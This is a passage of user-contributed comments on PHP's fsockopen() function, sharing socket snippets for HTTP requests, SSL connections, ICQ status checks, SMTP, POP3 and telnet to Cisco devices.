$fp = fopen('http://www.example.com/coolpage.asp?p1=1&p2=23', 'r', false, $context);
fpassthru($fp);
$html = fread($fp, 1000000);
fclose($fp);
echo $html;

function PostPage($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $path='/'.(implode('/',$path));
$post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-";
$post.="urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   for($a=0,$r='';!$a;){
       $b=fread($h,8192);
       $r.=$b;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   return $r;
}
function GetCookies($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $crlf = "\r\n";
   $path='/'.(implode('/',$path));
   $post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   $r="";
   for($a=0;!$a;){
       $b=fread($h,512);
       echo $b;
       $r.=$b;
       $gotSession=strpos($r,"ASPSESSION");
   if($gotSession)
      if(strpos($r, $crlf . $crlf,$gotSession)>0) break;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   $arr = split("Set-Cookie:",$r);
   $AllCookies="";$count=1;
   while ($count < count($arr)) {
$AllCookies.=substr($arr[$count].";",
0,strpos($arr[$count].";",";")+1);

 $count++;}
   return $AllCookies;

}
 ?>

It's not optimized , but i hope someone might find it usefull.
Best Regards
DRY_GIN
sivann at cs dot ntua dot gr 09-Dec-2005 04:40
This is an ident request example. If your client is running identd your real username will be known by the server.
It is also usefull to identify people bypassing IP ACLs by using SOCKS proxy and dynamic IP forwarding. If the socks proxy server uses ident (most unices do) you will know his real username.
For more information see RFC1413
Timeout of 2 seconds in the example may not be enough.

<?php
error_reporting(E_ALL);
$remip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
$remport = $HTTP_SERVER_VARS['REMOTE_PORT'];

ob_implicit_flush();
$fp = fsockopen($remip, 113, $errno, $errstr, 2);
if (!$fp) {
   echo "$errstr ($errno)<br>\n";
   exit;
}
else {
   $out = "$remport, 80\r\n";
   fwrite($fp, $out);
   $answer=fgets($fp, 128);
}
fclose($fp);
$ansparts=explode(":",$answer);
$user=chop($ansparts[3]);
echo "You are $user@$remip:$remport";

?>
Kiki_EF 27-Oct-2005 09:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
    if (! is_numeric($uin))
        return false;
    $proxy_name = 'proxy.mydomain.de';
    $proxy_port = 8080;
    $proxy_user = "";
    $proxy_pass = "";
    $proxy_cont = '';
    $request_url = "http://status.icq.com/online.gif?icq=$uin";

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)
        return false;
    fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
    fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
    while(!feof($proxy_fp)){
        $proxy_cont .= fread($proxy_fp,4096);
    }
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    if (strstr($proxy_cont, 'online1'))
        return 'online';
    if (strstr($proxy_cont, 'online0'))
        return 'offline';
    if (strstr($proxy_cont, 'online2'))
        return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>

Thanx

[EDIT BY danbrown AT php DOT net: Based on code provided in a note by (rafaelbc AT matrix DOT com DOT br) on 23-MAY-09, which has since been removed.]
robin at pozytron dot com 22-Aug-2005 12:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
dna at revold-design dot de 10-Aug-2005 02:04
Something useful for ICQ:
<?php
$icquin = "197829943";
function GetICQ($uin) {
    if (!is_numeric($uin)) return FALSE;

    $fp = fsockopen('status.icq.com', 80, $errno, $errstr, 8);
    if (!$fp) {
    return "N/A";
        }
    else {

    $request = "HEAD /online.gif?icq=$uin HTTP/1.0\r\n"
              ."Host: web.icq.com\r\n"
              ."Connection: close\r\n\r\n";
    fputs($fp, $request);

    do {
        $response = fgets($fp, 1024);
    }
    while (!feof($fp) && !stristr($response, 'Location'));

    fclose($fp);

    if (strstr($response, 'online1')) return 'Online';
    if (strstr($response, 'online0')) return 'Offline';
    if (strstr($response, 'online2')) return 'N/A';
    // N/A means, this User set the Option, his Online
    // Status cannot be shown over the Internet

    return FALSE;
    }
}

echo GetICQ($icquin);
?>
richard dot lajaunie at cote-azur dot cci dot fr 19-May-2005 09:10
<?php
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com 19-Apr-2005 05:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

<?php
while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
    $redirect=preg_replace("/location:/i","",$line);
   }
}
?>

Then don't forget to <?php $redirect = trim($redirect); ?> before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
ahauk at NO-SPAM dot synergynt dot net 28-Mar-2005 11:38
The following script will login to a POP3 account using the username, password and server name provided via a standard form; determine the amount of messages using a binary search; then purge all messages.

<?php
    $server = $_POST["server"];
    $user = $_POST["user"];
    $pass = $_POST["pass"];
    $count = 1;
    $low = 0;
    $mid = 0;
    $high = 100000;
    $connection = fsockopen($server, 110, $errno, $errstr, 30);

    if(!$connection) {
        print "Connect Failed: $errstr ($errno)";
    } else {
        $output = fgets($connection, 128);
        fputs($connection, "user $user\n");
        $output = fgets($connection, 128);
        fputs($connection, "pass $pass\n");
        $output = fgets($connection, 128);
        while($low < $high - 1) {
            $mid = floor(($low + $high) / 2);
            fputs($connection, "list $mid\n");
            $output = fgets($connection, 128);
            $subout = substr($output, 0, 4);
            if($subout == "+OK ") {
                $low = $mid;
                continue;
            }
            elseif($subout == "-ERR") {
                    $high = $mid;
                    continue;
            } else {
                break;
                print "An error has occurred. Please try again.";
            }
        }
        $limit = $mid - 1;
        while($count <= $limit) {
            fputs($connection, "dele $count\n");
            fgets($connection, 128);
            $count = $count + 1;
        }
        fputs($connection, "quit\n");
    }
    fclose($connection);
    print "Successfully removed $limit messages.";
?>
lukas at MORESPAM dot jhu dot edu 05-Mar-2005 04:29
Here's a function that I needed and couldn't use CURL... it helps you if you want to send the POST data (instead of GET) from one form to 2 or more other PHP scripts.  Trust me... it's a life saver!!

<?php
      function HTTP_Post($URL,$data, $referrer="") {

        // parsing the given URL
        $URL_Info=parse_url($URL);

        // Building referrer
        if($referrer=="") // if not given use this script as referrer
          $referrer=$_SERVER["SCRIPT_URI"];

        // making string from $data
        foreach($data as $key=>$value)
          $values[]="$key=".urlencode($value);
        $data_string=implode("&",$values);

        // Find out which port is needed - if not given use standard (=80)
        if(!isset($URL_Info["port"]))
          $URL_Info["port"]=80;

        // building POST-request:
        $request.="POST ".$URL_Info["path"]." HTTP/1.1\n";
        $request.="Host: ".$URL_Info["host"]."\n";
        $request.="Referer: $referer\n";
        $request.="Content-type: application/x-www-form-urlencoded\n";
        $request.="Content-length: ".strlen($data_string)."\n";
        $request.="Connection: close\n";
        $request.="\n";
        $request.=$data_string."\n";

        $fp = fsockopen($URL_Info["host"],$URL_Info["port"]);
        fputs($fp, $request);
        while(!feof($fp)) {
            $result .= fgets($fp, 128);
        }
        fclose($fp);

        return $result;
      }

      $output1=HTTP_Post("http://www.example.com/script1.php",$_POST);
      $output2=HTTP_Post("http://www.example.net/script2.php",$_POST);
?>
dante at dantecubed dot com 24-Feb-2005 01:00
You may be able to speed this function up by using an IP address instead of a domain. PHP uses getHostByAddr internally in this function anyway, so you can save a step in the function process.
konrad dot meyer at gmail dot com 12-Feb-2005 10:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
    # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
    # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
    # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
    $path=explode('/',$host);
    $host=$path[0];
    unset($path[0]);
    $path='/'.(implode('/',$path));
    $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
    $h=fsockopen($host,80);
    fwrite($h,$post);
    for($a=0,$r='';!$a;){
        $b=fread($h,8192);
        $r.=$b;
        $a=(($b=='')?1:0);
    }
    fclose($h);
    return $r;
}
?>
edwin at bitstorm dot org 02-Dec-2004 02:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
    $url_parsed = parse_url($url);
    $host = $url_parsed["host"];
    $port = $url_parsed["port"];
    if ($port==0)
        $port = 80;
    $path = $url_parsed["path"];
    if ($url_parsed["query"] != "")
        $path .= "?".$url_parsed["query"];

    $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    fwrite($fp, $out);
    $body = false;
    while (!feof($fp)) {
        $s = fgets($fp, 1024);
        if ( $body )
            $in .= $s;
        if ( $s == "\r\n" )
            $body = true;
    }

    fclose($fp);

    return $in;
}
?>
michiel at parse dot nl 25-Oct-2004 01:42
The following snippet allows you to retrieve the title of a page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?php
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
    $url = parse_url($url);

    if(!in_array($url['scheme'],array('','http')))
        return;

    $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
    if (!$fp)
    {
        return;
        // echo "$errstr ($errno)<br>\n";
    }
    else
    {
        fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
        $d = '';
        while (!feof($fp))
        {
            $d .= fgets ($fp,2048);

            if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
                break;
        }
        fclose ($fp);

        return $m[3];
    }
}
?>
alex at renesource dot lv 16-Mar-2004 08:07
Set up SSL connection to server that requires client certificate:

Convert client certificate from *.pfx (pkcs12) into*.pem with openssl (if needed):

> openssl pkcs12 -in keys.pfx -out keys.pem

PHP:

<?php
$context = stream_context_create();
$result = stream_context_set_option($context, 'ssl', 'local_cert', '/path/to/keys.pem');
$result = stream_context_set_option($context, 'ssl', 'passphrase', 'pass_to_access_keys');

$socket = fsockopen('ssl://'.$host, 443, $errno, $errstr, 30, $context);
?>
jack at jtr dot de 16-Feb-2004 11:05
Here is a function for testing a website/URI for availability:

<?php
    /*
    * @return boolean
    * @param  string $link
    * @desc   Überprüft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
    */
    function url_validate( $link )
    {
        $url_parts = @parse_url( $link );

        if ( empty( $url_parts["host"] ) ) return( false );

        if ( !empty( $url_parts["path"] ) )
        {
            $documentpath = $url_parts["path"];
        }
        else
        {
            $documentpath = "/";
        }

        if ( !empty( $url_parts["query"] ) )
        {
            $documentpath .= "?" . $url_parts["query"];
        }

        $host = $url_parts["host"];
        $port = $url_parts["port"];
        // Now (HTTP-)GET $documentpath at $host";

        if (empty( $port ) ) $port = "80";
        $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
        if (!$socket)
        {
            return(false);
        }
        else
        {
            fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
            $http_response = fgets( $socket, 22 );

            if ( ereg("200 OK", $http_response, $regs ) )
            {
                return(true);
                fclose( $socket );
            } else
            {
//                echo "HTTP-Response: $http_response<br>";
                return(false);
            }
        }
    }
?>
sir_reality2001 at yahoo dot com 13-Feb-2004 06:45
<?php
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
rob at robhulme dot com 23-Jan-2004 06:17
Just a note to everyone who is using fsockopen and fread / fgets for a HTTP connection.

Unless you specify "Connection: Close" in your headers you will need to wait for the socket to time out before feof($streamPointer) to return true.

This has wasted 2 days of my time, grr!

-Rob
asalamanca at redcetus dot com 18-Nov-2003 08:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;   // Bytes will be read (and display). 0 for read all

$server  = '127.0.0.1';            // IP address
$host    = 'www.example.net';             // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.example.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
                'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
    $getValues = '?';
    foreach( $gets AS $name => $value ){
        $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $getValues = substr( $getValues, 0, -1 );
} else {
    $getValues = '';
}

if ( is_array( $posts ) ) {
    foreach( $posts AS $name => $value ){
        $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );
    $method = "POST";
} else {
    $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
    $lenght = strlen( $postValues );
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Content-Length: $lenght\r\n";
    $request .= "\r\n";
    $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
    $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
    fputs( $socket, $request );
    if ( $size > 0 ) {
        $ret = fgets( $socket, $size );
    } else {
        $ret = '';
        while ( !feof( $socket ) ) {
            $ret .= fgets( $socket, 4096 );
        }
    }
    fclose( $socket );
    echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
terminal 23-Oct-2003 09:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

    $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
    echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
    echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
    echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
    echo smtp_command($handle, "DATA\r\n", 1, 1);
    echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
    // don't do it like this - it will hang up
    // echo smtp_command($handle, "$message", 1, 1);
    // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
    echo smtp_command($handle, "QUIT\r\n", 1, 1);
    smtp_close($handle);

    function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
    {
        $errno = 0;
        $errstr = 0;
        if($echo_command)
        {
            if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
            else { echo "CONNECTING TO $host\r\n"; }
        }
        $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
        if(!$handle)
        {
            if($echo_command)
            {
                if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
                else { echo "CONNECTION FAILED\r\n"; }
            }
            return False;
        }
        if($echo_command)
        {
            if($nl2br) { echo nl2br("SUCCESS\r\n"); }
            else { echo "SUCCESS\r\n"; }
        }
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($echo_response)
        {
            if($nl2br) { echo nl2br($response); }
            else { echo $response; }
        }
        return $handle;
    }

    function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
    {
        if($echo_command)
        {
            if($nl2br) { echo nl2br($command); }
            else { echo $command; }
        }
        fputs($handle, $command);
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($nl2br) { return nl2br($response); }
        else { return $response; }
    }

    function smtp_close($handle)
    {
        fclose($handle);
    }
?>
richardaburton at hotmail dot com 19-Oct-2003 05:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('example.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
      do {
         $byte = "";
         $chunk_size="";
         do {
            $chunk_size.=$byte;
            $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);         // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
      } while ($chunk_size);         // till we reach the 0 length chunk (end marker)
   else {
      // check for specified content length
      if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
      } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
      }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
joe at edwardsconsultants dot com 10-Aug-2003 11:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

<?php
$host = "something.example.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
    echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
?>
sergiopaternoster at tiscali dot it 30-Jul-2003 07:49
If you want to connect via Telnet, it could be useful to set also the Terminal Type (some OS requires it)

<?php
$IAC  = chr(255);   /* interpret as command: */
$SB = chr(250);     /* interpret as subnegotiation */
$SE = chr(240);     /* end sub negotiation */
$TELOPT_TTYPE = chr(24);     /* terminal type */
$TELQUAL_IS = chr(0);    /* Option is... */

//sending Terminal Type
fwrite($sock,$IAC.$SB.$TELOPT_TTYPE.$TELQUAL_IS.'vt100'.$IAC.$SE);
?>

ciao
Sergio Paternoster
brage (a t) jeffnappi (d.o.t) commie 10-Jul-2003 11:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

<?php
// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno   = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
        $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
    if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
    } else {
     $retData[$x] = fgets($sockets[$x],128);
    }
   } else {
    $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}
?>
xbensemhoun at t-systems dot fr 25-Jun-2003 11:48
To make a telnet connection with a Cisco router:

<?php
$cfgServer = "nnn.nnn.nnn.nnn";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr, $cfgTimeOut);

if(!$usenet)
        {
        echo "Connexion failed\n";
        exit();
        }
else
        {
        echo "Connected\n<BR>";
        fputs ($usenet, "toto\r\n");
        fputs ($usenet, "en\r\n");
        fputs ($usenet, "tutu\r\n");
        fputs ($usenet, "exit\r\n");
        while (!feof($usenet))
                {
                echo ". ".fgets($usenet, 128)."<BR>\n";
                }
        }
?>

Then you will have:
Connected
. ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au 08-Jun-2003 06:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

<?php
function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
 $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);
 if ($urlHandle)
 {
  socket_set_timeout($urlHandle, $timeout);
  if ($path)
  {
   $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
   if ($user)
    $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
    $urlString .= "\r\n";

    fputs($urlHandle, $urlString);

    $response = fgets($urlHandle);

    if (substr_count($response, "200 OK") > 0)      // Check the status of the link
    {
     $endHeader = false;                     // Strip initial header information
     while ( !$endHeader)
     {
      if (fgets($urlHandle) == "\r\n")
       $endHeader = true;
     }

     return $urlHandle;                      // All OK, return the file handle
    }
    else if (strlen($response) < 15)                // Cope with wierd non standard responses
    {
     fclose($urlHandle);
     return -1;
    }
    else                                            // Cope with a standard error response
    {
     fclose($urlHandle);
     return substr($response,9,3);
    }
   }

   return $urlHandle;
  }
  else
  {
   return 0;
  }
 }
}
?>
Sherif Gayed 30-Jan-2003 07:00
Here is how to connect to the web from behind a proxy server:

<?php
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/**************end code**************/
?>
g dot bashi at ntlworld dot com 03-Jan-2003 06:55
The timeout parameter was not supported under windows until PHP 4.3.0, previously it was fixed at 30sec.
dan at lovepond dot com 17-Dec-2002 10:38
Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted.

<?php
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
      fread ($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
      $status.=fread($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>
verran at descent-rangers dot com 17-Oct-2002 04:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

<?php
    class kali_utils {
        function games_list($kali_server_ip, $kali_server_port) {
            $result = array();
            $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
            if (!$fp) {
                $result["errno"] = $errno;
                $result["error"] = $error;
            }
            else {
                fputs($fp, "KALIQ");
                $header = fread($fp, 5);
                $bytes_left = socket_get_status($fp);
                if ($bytes_left > 0) {
                    $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
                }
                else {
                    $result["results"] = "";
                }
